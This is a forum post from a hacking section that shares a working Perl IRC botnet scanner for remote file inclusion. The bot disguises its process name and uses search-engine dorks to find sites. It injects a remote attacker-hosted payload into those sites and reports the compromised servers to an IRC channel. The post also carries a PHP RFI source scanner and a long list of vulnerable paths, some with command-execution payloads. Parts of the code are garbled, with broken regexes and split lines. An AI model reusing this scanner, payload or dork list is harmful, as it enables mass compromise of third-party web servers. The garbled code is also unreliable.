Jump to content
Jimmy

RFI scanner

By Jimmy, in Programe hacking

Recommended Posts

Jimmy Newbie

Jimmy

Posted
Posted

Perl script:

#!/usr/bin/perl  
# powered by alboss paradise @ 
# irc.ascnet.biz ; irc.fier1.com ; irc.securityfuckus.com 
# www.xshqiptaretx.org 

use IO::Socket::INET;  
use HTTP::Request;  
use LWP::UserAgent; 
#my $processo = "httpd -SascSL";  
my $processo = "/usr/local/apache/bin/httpd -SascSL";  
if (`ps aux` =~ /httpd -SascSL/){exit;}  
my $cmd="http://fucku.com/c9???";  
my $server="irc.ascnet.biz";  
my $porta="6667";  
my $nick="[ASC]RFI[".int(rand(1000))."]"; 
my $canale="#asc";  
my $server2="irc.ascnet.biz";  
my $port2="6667";  
my $verbot="6.9";  
$0="$processo"."\0"x16;  
my $pid=fork;  
exit if $pid;  
die "Problem with fork!: $!" unless defined($pid); 
my $sk = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"$porta",) or die "Cannot connect to server!\n";  
$sk->autoflush(1);  
print $sk "NICK $nick\r\n";  
print $sk "USER ASC X * :4,1irc.ascnet.biz : ALBANIAN.SECURITY.CLAN\r\n";  
print $sk "JOIN $canale\r\n"; 
print $sk "PRIVMSG $canale :4 .:: [4,1SHELLS ( RFI ) SCANNER STARTED] 9,1 !!! !rfi IS ON !!!4 ::.\r\n"; 
print $sk "PRIVMSG $canale :4 .:: 9,1!!! /join #asc FOR !help ON !!!4 ::.\r\n"; 
while($line = <$sk>){ 
print $line; 
$line =~ s/rn$//; 
if ($line=~ /^PING .*)/){ 
print "PONG :$1"; 
print $sk "PONG :$1\r\n";} 
if ($line =~ /^.+?)!(.+?)@(.+?) PRIVMSG (.+?) .+)/) { 
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; 
if ($args =~ /^001VERSION001$/) { 
stampa($sk, "NOTICE $pn :\001VERSION XChat 2.6.7 by ALBANIA\001");}} 
if ($line =~ m/^.+?)s+001s+(S+)s/i) { 
print $sk "JOIN $canale\r\n";} 
if ($line=~ /PRIVMSG $canale :.help/){  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1HELP] 9,1/join #asc FOR !help4 ::.");} 
if ($line=~ /PRIVMSG $canale :.info/){  
my $sysos = `uname -sr`;  
my $uptime = `uptime`;  
if ($sysos =~ /freebsd/i ) {  
$sysname = `hostname`;  
$memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;  
$swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;  
chomp($memory);  
chomp($swap);}  
elsif ( $sysos =~ /linux/i ) {  
$sysname = `hostname -f`;  
$memory = `free -m |grep -i mem | awk '{print \$2}'`;  
$swap = `free -m |grep -i swap | awk '{print \$2}'`;  
chomp($swap);  
chomp($memory);}  
else {  
$sysname ="No Found";;  
$memory ="No found";  
$swap ="No Found";}  
$uptime=~s/n//g;  
$sysname=~s/n//g;  
$sysos=~s/n//g;  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1IrcServer/Port:7,1 $server2 - $port24 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Os/Hostname:7,1 $sysos - $sysname4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Process/PID:7,1 $processo - $$4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Uptime:7,1 $uptime4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Memory/Swap:7,1 $memory - $swap4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Perl/Bot Version:7,1 $] - $verbot4 ::.");}  
if ($line=~ /PRIVMSG $canale :.rfis+(.*?)s+(.*)/){  
if (my $pid = fork) {  
waitpid($pid, 0);  
} else {  
if (fork) {  
exit;  
} else {  
my $bug=$1;  
my $dork=$2;  
if ($bug =~ /=/) {}  
else {  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1GAY/LAMMER/NOOB/BIBA] 9,1DETECTED, U AREN'T ALOWEED TO SCANN ANYMORE OK !!! cuz u don't know...4 ::.");exit;} 
my $contatore=0;  
my ($type,$space);  
my %hosts;  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1String(s)] 7,1$dork4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Path] 7,1$bug4 ::.");  
my @glist=&google($dork);  
my @mlist=&msn($dork);  
my @alist=&altavista($dork);  
my @uollist=&uol($dork);  
my @asklist=&ask($dork);  
my @ylist=&yahoo($dork);  
my @altlist=&alltheweb($dork);  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Ok founds sites for [4,1String(s)] 7,1$dork4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Google ".scalar(@glist)." Sites!4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1MsN ".scalar(@mlist)." Sites!4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Altavista ".scalar(@alist)." Sites!4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1AllTheWeb ".scalar(@altlist)." Sites!4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1UoL ".scalar(@uollist)." Sites!4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Yahoo ".scalar(@ylist)." Sites!4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1AsK ".scalar(@asklist)." Sites!4 ::.");  
push(my @tot,@glist,@mlist,@uollist,@aollist,@asklist,@altlist,@ylist);  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 7,1We got a totales of ".scalar(@tot)." Sites!4 ::.");  
my @puliti=&unici(@tot);  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 7,1Cleaned Websites Founds ".scalar(@puliti)." Sites!4 ::.");  
my $uni=scalar(@puliti);  
foreach my $sito (@puliti){  
$contatore++;  
if ($contatore %100==0){}  
if ($contatore==$uni-1){ 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1.. #asc rfi scanner...] 9,1Scann Finished For [4String(s)] 7,1$dork4 ::."); 
stampa($sk, "PRIVMSG $canale : 4,1POWERED BY ALBOSS PARADISE @ (> IRC.ASCNET.BIZ <)");}  
my $test="http://".$sito.$bug.$cmd."????";  
my $print="http://".$sito.$bug."http://ascnet.extra.hu/c9"."????";  
my $req=HTTP::Request->new(GET=>$test);  
my $ua=LWP::UserAgent->new();  
$ua->timeout(5);  
my $response=$ua->request($req);  
if ($response->is_success) {  
my $re=$response->content;  
if($re =~ /ALBANIA/ && $re =~ /uid=/){  
#my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test"; 
#my $poster=HTTP::Request->new(GET=>$punked); 
#my $resa=$ua->request($poster); 
my $hs=geths($print); $hosts{$hs}++;  
if($hosts{$hs}=="1"){  
$x=os($test); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SafeMode] (3 OFF ) $print 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uname -a] (3$alb ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uptime] (3$alb2 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1id] (3$alb3 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1pwd] (3$alb4 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1user] (3$alb9 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1phpv] (3$alb6 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SoftWare] (3$alb5 ) 4::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerAddr] (3$alb7 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerName] (3$alb8 ) 4::.");}}  
elsif($re =~ /ALBANIA/){ 
#my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test"; 
#my $poster1=HTTP::Request->new(GET=>$punked1); 
#my $resa=$ua->request($poster1); 
my $hs=geths($print); $hosts{$hs}++;  
if($hosts{$hs}=="1"){  
$x=os($test); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SafeMode] (4 ON ) $print 4::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uname -a] (4$alb ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uptime] (4$alb2 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1id] (4$alb3 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1pwd] (4$alb4 ) 4::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1user] (4$alb9 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1phpv] (4$alb6 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SoftWare] (4$alb5 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerAddr] (4$alb7 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerName] (4$alb8 ) 4::."); 
}}}}}exit;}}}  
sub stampa() {  
if ($#_ == '1') {  
my $sk = $_[0];  
print $sk "$_[1]\n";  
} else {  
print $sk "$_[0]\n";}}  
sub os(){  
my $sito=$_[0];  
my $Res=query($sito);  
while($Res=~m/<br>uname -a:(.+?)<br>/g){ 
$alb=$1;} 
while($Res=~m/<br>uptime:(.+?)<br>/g){ 
$alb2=$1;} 
while($Res=~m/<br>id:(.+?)<br>/g){ 
$alb3=$1;} 
while($Res=~m/<br>pwd:(.+?)<br>/g){ 
$alb4=$1;} 
while($Res=~m/<br>user:(.+?)<br>/g){ 
$alb9=$1;} 
while($Res=~m/<br>phpv:(.+?)<br>/g){ 
$alb6=$1;} 
while($Res=~m/<br>SoftWare:(.+?)<br>/g){ 
$alb5=$1;} 
while($Res=~m/<br>ServerAddr:(.+?)<br>/g){ 
$alb7=$1;} 
while($Res=~m/<br>ServerName:(.+?)<br>/g){ 
$alb8=$1;} 


sub google(){  
my @lst;  
my $key = $_[0];  
for($b=0;$b<=2000;$b+=100){  
my $Go=("http://www.google.co.uk/search?hl=en&q=".key($key)."&btnG=&meta=&num=100&filter=0&start=".$;  
my $Res=query($Go);  
while($Res =~ m/<a href="?http:\/\/([^>\"]*)\//g){  
if ($1 !~ /google/){  
my $k=$1;  
my @grep=links($k);  
push(@lst,@grep);}}}  
return @lst;}  
sub altavista(){  
my @lst;  
my $key = $_[0];  
for($b=1;$b<=2000;$b+=100){  
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$;  
my $Res=query($AlT);  
while($Res=~m/<span class=ngrn>(.+?)//g){  
if($1 !~ /altavista/){  
my $k=$1;  
$k=~s/<//g;  
$k=~s/ //g;  
my @grep=links($k);  
push(@lst,@grep);}} 
if ($Res =~ /target="_self\">Succ/){} 
else{return @lst;}}  
return @lst;} 
sub yahoo(){  
my @lst;  
my $key = $_[0];  
for($b=1;$b<=2000;$b+=100){  
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$;  
my $Res=query($Ya);  
while($Res =~ m/**http%3a//(.+?)" >/g){ 
my $k=$1;  
$k=~s/<b>//g;  
$k=~s/<\/b>//g;  
$k=~s/<wbr>//g;  
my @grep=links($k);  
push(@lst,@grep);}}  
return @lst;}  
sub alltheweb(){  
my @lst;  
my $key=$_[0];  
my $i=0;  
my $pg=0;  
for($i=0; $i<=2000;$i+=100){ 
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);  
my $Res=query($all);  
while($Res =~ m/<span class="?resURL\"?>http:\/\/(.+?)\<\/span>/g){  
my $k=$1;  
$k=~s/ //g;  
my @grep=links($k);  
push(@lst,@grep);}}  
return @lst;}  
sub lycos(){  
my @lst;  
my $key = $_[0];  
for($b=1;$b<=2000;$b+=100){  
my $LyCoS=("http://search.lycos.com/?query=".key($key)."&page=".$i);  
my $Res=query($LyCoS);  
while ($Res=~ m/<span class="?grnLnk small\"?>http:\/\/(.+?)\//g ){ 
my $k=$1;  
if($k!~/busca|lycos|yahoo/){  
my $k=$1;  
my @grep=links($k);  
push(@lst,@grep);}}}  
return @lst;}  
sub msn(){  
my @lst;  
my $key = $_[0];  
for($b=1;$b<=2000;$b+=100){  
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");  
my $Res=query($MsN);  
while($Res =~ m/<a href="?http:\/\/([^>\"]*)\//g){  
if($1 !~ /msn|live/){  
my $k=$1;  
my @grep=links($k);  
push(@lst,@grep);}} 
if ($Res =~ /nextPage disabled/) 
{return @lst;}} 
return @lst;}  
sub ask(){  
my @lst;  
my $key=$_[0];  
my $i=0;  
my $pg=0;  
for($i=0; $i<=2000;$i+=100){  
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");  
my $Res=query($Ask);  
while($Res=~m/<a id="(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){  
my $k=$3; 
$k=~s/[\"\ ]//g;  
my @grep=links($k);  
push(@lst,@grep);}}  
return @lst;} 
sub uol(){  
my @lst;  
my $key = $_[0];  
for($b=1;$b<=2000;$b+=100){  
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);  
my $Res=query($UoL);  
while($Res =~ m/<a href="http:\/\/([^>\"]*)/g){  
my $k=$1;  
if($k!~/busca|uol|yahoo/){  
my $k=$1;  
my @grep=links($k);  
push(@lst,@grep);}}}  
return @lst;}  
sub links(){  
my @l;  
my $link=$_[0];  
my $host=$_[0];  
my $hdir=$_[0];  
$hdir=~s/(.*)\/[^\/]*$/\1/;  
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;  
$host.="/";  
$link.="/";  
$hdir.="/";  
$host=~s/\/\//\//g;  
$hdir=~s/\/\//\//g;  
$link=~s/\/\//\//g;  
push(@l,$link,$host,$hdir);  
return @l;}  
sub geths(){  
my $host=$_[0];  
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;  
return $host;}  
sub key(){  
my $chiave=$_[0];  
$chiave =~ s/ /\+/g;  
$chiave =~ s/:/\%3A/g;  
$chiave =~ s/\//\%2F/g;  
$chiave =~ s/&/\%26/g;  
$chiave =~ s/\"/\%22/g;  
$chiave =~ s/,/\%2C/g;  
$chiave =~ s/\\/\%5C/g;  
return $chiave;}  
sub query($){  
my $url=$_[0];  
$url=~s/http:\/\///;  
my $host=$url;  
my $query=$url;  
my $page="";  
$host=~s/href=\"?http:\/\///;  
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;  
$query=~s/$host//;  
if ($query eq "") {$query="/";};  
eval{  
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;  
print $sock "GET $query HTTP/1.0rnHost: $hostrnAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";  
my @r = <$sock>;  
$page="@r";  
close($sock);};  
return $page;}  
sub unici{  
my @unici = ();  
my %visti = ();  
foreach my $elemento ( @_ ){  
next if $visti{ $elemento }++;  
push @unici, $elemento;}  
return @unici;}} 

# powered by alboss paradise @ 
# irc.ascnet.biz ; irc.fier1.com ; irc.securityfuckus.com 
# www.xshqiptaretx.org

Php script:

<?php  
/***************************************************************************  
 *   PHP Evil RFI Scanner v1.2                                             *  
 *                                                                         *  
 *   Copyright (C) 2007 by evilsocket                                      *  
 *                                                                         *  
 *   http://www.evilsocket.net                                             *  
 *                                                                         *  
 *   This program is free software; you can redistribute it and/or modify  *  
 *   it under the terms of the GNU General Public License as published by  *  
 *   the Free Software Foundation; either version 2 of the License, or     *  
 *   (at your option) any later version.                                   *  
 *                                                                         *  
 *   This program is distributed in the hope that it will be useful,       *  
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *  
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *  
 *   GNU General Public License for more details.                          *  
 *                                                                         *  
 *   You should have received a copy of the GNU General Public License     *  
 *   along with this program; if not, write to the                         *  
 *   Free Software Foundation, Inc.,                                       *  
 *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *  
 *                                                                         *  
 ***************************************************************************/  

    /* regex per individuare le inclusioni */  
    $escan_inc_regex   = array( '/include(_once)?.\$/ix', '/require(_once)?.\$/ix' )  
;  
    /* regex per estrarre il nome delle variabili */  
    $escan_var_regex   = array( '/\Ainclude(_once)?./is', '/\Arequire(_once)?./is' )  
;  
    /* array di estensioni dei file da scansionare */  
    $escan_valid_ext   = array( 'php' );  
    /* massima grandezza di un file da scansionare, se 0 scansiona tutti */  
    $escan_max_size    = 0;  
    /* contatore delle directory scansionate */  
    $escan_dir_count   = 0;  
    /* contatore dei file scansionati */  
    $escan_file_count  = 0;  
    /* contatore dei potenziali rfi trovati */  
    $escan_match_count = 0;  
    /* contatore dei bytes totali scansionati */  
    $escan_byte_count  = 0;  

    escan_banner();  


    if( $argc < 2 ){  
        escan_usage($argv[0]);  
    }  
    else{  

        $stime = escan_get_mtime();  

        escan_recurse_dir( realpath($argv[1]).DIRECTORY_SEPARATOR );  

        $etime = escan_get_mtime();  

        print "\n@ Scan report : \n\n" .  
              "\t$escan_dir_count directory .\n".  
              "\t$escan_file_count file .\n".  
              "\t" . escan_format_size($escan_byte_count) . " .\n".  
              "\t$escan_match_count potenziali RFI .\n".  
              "\t".($etime-$stime) . " secondi di elaborazione .\n\n";  
    }  

    /* formatta in una stringa una grandezza espressa in bytes */  
    function escan_format_size($bytes)  
    {  
        if( $bytes < 1024       ) return "$bytes bytes";  
        if( $bytes < 1048576    ) return ($bytes / 1024) . " Kb";  
        if( $bytes < 1073741824 ) return ($bytes / 1048576) . " Mb";  

        return ($bytes / 1073741824) . " Gb";  
    }  

    /* restituisce il timestamp espresso in secondi */  
    function escan_get_mtime()  
    {  
        list($usec, $sec) = explode(" ",microtime());  
        return ((float)$usec + (float)$sec);  
    }  

    /* estrae la linea di codice dell inclusione */  
    function escan_scan_line($content,$offset)  
    {  
        list( $line, $dummy ) = explode( ";" , substr($content,$offset,strlen($c  
ontent)) );  

        return $line.";";  
    }  

    /* estrae il nome della variabile dalla riga di codice dell inclusione */  
    function escan_parse_var( $line, $regex_id )  
    {  
        global $escan_var_regex;  

        $vars       = preg_split($escan_var_regex[$regex_id],$line);  
        $varname    = $vars[1];  
        $delimiters = " .);";  

        for( $i = 0; $i < strlen($varname); $i++ ){  
            for( $j = 0; $j < strlen($delimiters); $j++ ){  
                if($varname[$i] == $delimiters[$j]){  
                    return substr( $varname, 0, $i );  
                }  
            }  
        }  

        return $varname;  
    }  

    /* controlla se la variabile $var viene definita in $content prima della posizio  
ne $offset */  
    function escan_check_definitions($content,$offset,$var)  
    {  
        if( strpos( $var, "->" ) ){  
            return 1;  
        }  

        $chunk = substr($content,0,$offset);  
        $regex = "/".preg_quote($var,"/")."\s*=/ix";  
        preg_match( $regex, $chunk,$matches );  

        return count($matches);  
    }  

    /* parserizza il file $file per controllare la presenza di potenziali rfi */  
    function escan_parse_file($file)  
    {  
        global $escan_inc_regex;  
        global $escan_max_size;  
        global $escan_file_count;  
        global $escan_match_count;  
        global $escan_byte_count;  

        $fsize = filesize($file);  

        if( $escan_max_size && $fsize > $escan_max_size ) return;  

        $escan_file_count++;  
        $escan_byte_count += $fsize;  

        $content = @file_get_contents($file);  

        for( $i = 0; $i < count($escan_inc_regex); $i++ ){  
            if( preg_match_all( $escan_inc_regex[$i], $content, $matches, PR  
EG_OFFSET_CAPTURE ) ){  

                $nmatch = count($matches[0]);  

                for( $j = 0; $j < $nmatch; $j++ ){  
                    $offset = $matches[0][$j][1];  
                    $line   = escan_scan_line($content,$offset);  
                    $var    = escan_parse_var($line,$i);  

                    if( escan_check_definitions($content,$offset,$var) == 0 )  
                    {  
                        $escan_match_count++;  
                        print "@ $file - \n\t- '$var' alla posizione $offset .\n"{ ;  
 }  
                    }  
                }  
            }  
        }  
    }  

    /* restituisce l'estensione del file $fname */  
    function escan_get_file_ext($fname)  
    {  
        if( strchr($fname,'.') ){  
            return substr($fname,strrpos($fname,'.')+1);  
        }  
        else{  
            return "";  
        }  
    }  

    /* controlla se il file $fname è di un estensione valida */  
    function escan_isvalid_ext($fname)  
    {  
        global $escan_valid_ext;  

        for( $i = 0; $i < count($escan_valid_ext); $i++ ){  
            if(strstr(escan_get_file_ext($fname),$escan_valid_ext[$i])){  
                return true;  
            }  
        }  

        return false;  
    }  

    /* funzione che scansiona ricorsivamente le directory */  
    function escan_recurse_dir($dir)  
    {  
        global $escan_dir_count;  

        $escan_dir_count++;  

        if( $cdir = @dir($dir) ){  
            while( $entry = $cdir->read() ){  
                if( $entry != '.' && $entry != '..' ){  
                    if( is_dir($dir.$entry) ){  
                        escan_recurse_dir($dir.$entry.DIRECTORY_SEPARATOR);  
                    }  
                    else{  
                        if( escan_isvalid_ext($dir.$entry) ){  
                            escan_parse_file($dir.$entry);  
                        }  
                    }  
                }  
            }  

            $cdir->close();  
        }  
    }  

    function escan_banner()  
    {  
        print "*-----------------------------------------------*\n" .  
              "*   PHP Evil RFI Scanner v1.2  by evilsocket    *\n" .  
              "*                                               *\n" .  
              "*           http://www.evilsocket.net           *\n" .  
              "*-----------------------------------------------*\n\n";  
    }  

    function escan_usage($pname)  
    {  
        print "Uso : php $pname <dir>\n";  
    }  
?>

Dorks RFI

/includes/header.php?systempath=
/Gallery/displayCategory.php?basepath=
/index.inc.php?PATH_Includes=
/nphp/nphpd.php?nphp_config[LangFile]=
/include/db.php?GLOBALS[rootdp]=
/ashnews.php?pathtoashnews=
/ashheadlines.php?pathtoashnews=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/modules/My_eGallery/public/displayCategory.php?basepath=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_connect=lol&chem_absolu=
/index.php?from_market=Y&pageurl=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/pivot/modules/module_db.php?pivot_path=
/modules/4nAlbum/public/displayCategory.php?basepath=
/derniers_commentaires.php?rep=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/myPHPCalendar/admin.php?cal_dir=
/agendax/addevent.inc.php?agendax_path=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/main.php?page=
/default.php?page=
/index.php?action=
/index1.php?p=
/index2.php?x=
/index2.php?content=
/index.php?conteudo=
/index.php?cat=
/include/new-visitor.inc.php?lvc_include_dir=
/modules/agendax/addevent.inc.php?agendax_path=
/shoutbox/expanded.php?conf=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/zentrack/index.php?configFile=
/main.php?x=
/becommunity/community/index.php?pageurl=
/GradeMap/index.php?page=
/phpopenchat/contrib/yabbse/poc.php?sourcedir=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
(www.google.com => intitle:PHPOpenChat exthp)

/calendar/calendar.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/functions/popup.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/events/header.inc.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/events/datePicker.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/setup/setupSQL.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
/calendar/setup/header.inc.php?serverPath=/.xpl/asc?&cmd=uname -a;w;id;pwd;ps
(www.google.com => intitle:"EasyPHPCalendar" exthp)

/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
/zentrack/index.php?configFile=
/pivot/modules/module_db.php?pivot_path=
/inc/header.php/step_one.php?server_inc=
/install/index.php?lng=../../include/main.inc&G_PATH=
/inc/pipe.php?HCL_path=
/include/write.php?dir=
/include/new-visitor.inc.php?lvc_include_dir=
/includes/header.php?systempath=
/support/mailling/maillist/inc/initdb.php?absolute_path=
/coppercop/theme.php?THEME_DIR=
/zentrack/index.php?configFile=
/pivot/modules/module_db.php?pivot_path=
/inc/header.php/step_one.php?server_inc=
/install/index.php?lng=../../include/main.inc&G_PATH=
/inc/pipe.php?HCL_path=
/include/write.php?dir=
/include/new-visitor.inc.php?lvc_include_dir=
/includes/header.php?systempath=
/support/mailling/maillist/inc/initdb.php?absolute_path=
/coppercop/theme.php?THEME_DIR=
/becommunity/community/index.php?pageurl=
/shoutbox/expanded.php?conf=
/agendax/addevent.inc.php?agendax_path=
/myPHPCalendar/admin.php?cal_dir=
/yabbse/Sources/Packages.php?sourcedir=
/zboard/zboard.php
/path_of_cpcommerce/_functions.php?prefix
/dotproject/modules/projects/addedit.php?root_dir=
/dotproject/modules/projects/view.php?root_dir=
/dotproject/modules/projects/vw_files.php?root_dir=
/dotproject/modules/tasks/addedit.php?root_dir=
/dotproject/modules/tasks/viewgantt.php?root_dir=
/My_eGallery/public/displayCategory.php?basepath=
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/agendax/addevent.inc.php?agendax_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/mod_mainmenu.php?mosConfig_absolute_path=
/shoutbox/expanded.php?conf=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/main.php?x=
/main.php?page=
/default.php?page=
/index.php?meio.php=
/index.php?include= | /index.php?inc= | /index.php?page= | /index.php?pag= | /index.php?p=
/index.php?x= | /index.php?open= | /index.php?open= | /index.php?visualizar= | /index.php?pagina=
/index.php?content= | /index.php?cont= | /index.php?c= | /index.php?meio= | /index.php?x=
/index.php?cat= | /index.php?site= /index.php?configFile= | /index.php?action= | /index.php?do=
/index2.php?x= | /index2.php?content= | /template.php?pagina= | /inc/step_one_tables.php?server_inc=
/GradeMap/index.php?page= | /phpshop/index.php?base_dir= | /admin.php?cal_dir=
/path_of_cpcommerce/_functions.php?prefix= | /contacts.php?cal_dir= | /convert-date.php?cal_dir=
/album_portal.php?phpbb_root_path=
/mainfile.php?MAIN_PATH=
/dotproject/modules/files/index_table.php?root_dir=
/html/affich.php?base=
/gallery/init.php?HTTP_POST_VARS=
/pm/lib.inc.php?pm_path=
/ideabox/include.php?gorumDir=
index2.php?includes_dir=
forums/toplist.php?phpbb_root_path=
forum/toplist.php?phpbb_root_path=
admin/config_settings.tpl.php?include_path=
include/common.php?include_path=
event/index.php?page=
forum/index.php?includeFooter=
forums/index.php?includeFooter=
forum/bb_admin.php?includeFooter=
forums/bb_admin.php?includeFooter=
language/lang_english/lang_activity.php?phpbb_root_path=
forum/language/lang_english/lang_activity.php?phpbb_root_path=
blend_data/blend_common.php?phpbb_root_path=
master.php?root_path=
includes/kb_constants.php?module_root_path=
forum/includes/kb_constants.php?module_root_path=
forums/includes/kb_constants.php?module_root_path=
classes/adodbt/sql.php?classes_dir=
agenda.php3?rootagenda=
agenda2.php3?rootagenda=
sources/lostpw.php?CONFIG[path]=
topsites/sources/lostpw.php?CONFIG[path]=
toplist/sources/lostpw.php?CONFIG[path]=
sources/join.php?CONFIG[path]=
topsites/sources/join.php?CONFIG[path]=
toplist/sources/join.php?CONFIG[path]=
topsite/sources/join.php?CONFIG[path]=
public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=
extras/poll/poll.php?file_newsportal=
index.php?site_path=
mail/index.php?site_path=
fclick/show.php?path=
show.php?path=
calogic/reconfig.php?GLOBALS[CLPath]=
eshow.php?Config_rootdir=
auction/auction_common.php?phpbb_root_path=
index.php?inc_dir=
calendar/index.php?inc_dir=
modules/TotalCalendar/index.php?inc_dir=
modules/calendar/index.php?inc_dir=
calendar/embed/day.php?path=
ACalendar/embed/day.php?path=
calendar/add_event.php?inc_dir=
claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=
claroline/auth/ldap/authldap.php?includePath=
docebo/modules/credits/help.php?lang=
modules/credits/help.php?lang=
config.php?returnpath=
editsite.php?returnpath=
in.php?returnpath=
addsite.php?returnpath=
includes/pafiledb_constants.php?module_root_path=
phpBB/includes/pafiledb_constants.php?module_root_path=
pafiledb/includes/pafiledb_constants.php?module_root_path=
auth/auth.php?phpbb_root_path=
auth/auth_phpbb/phpbb_root_path=
apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=
apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=
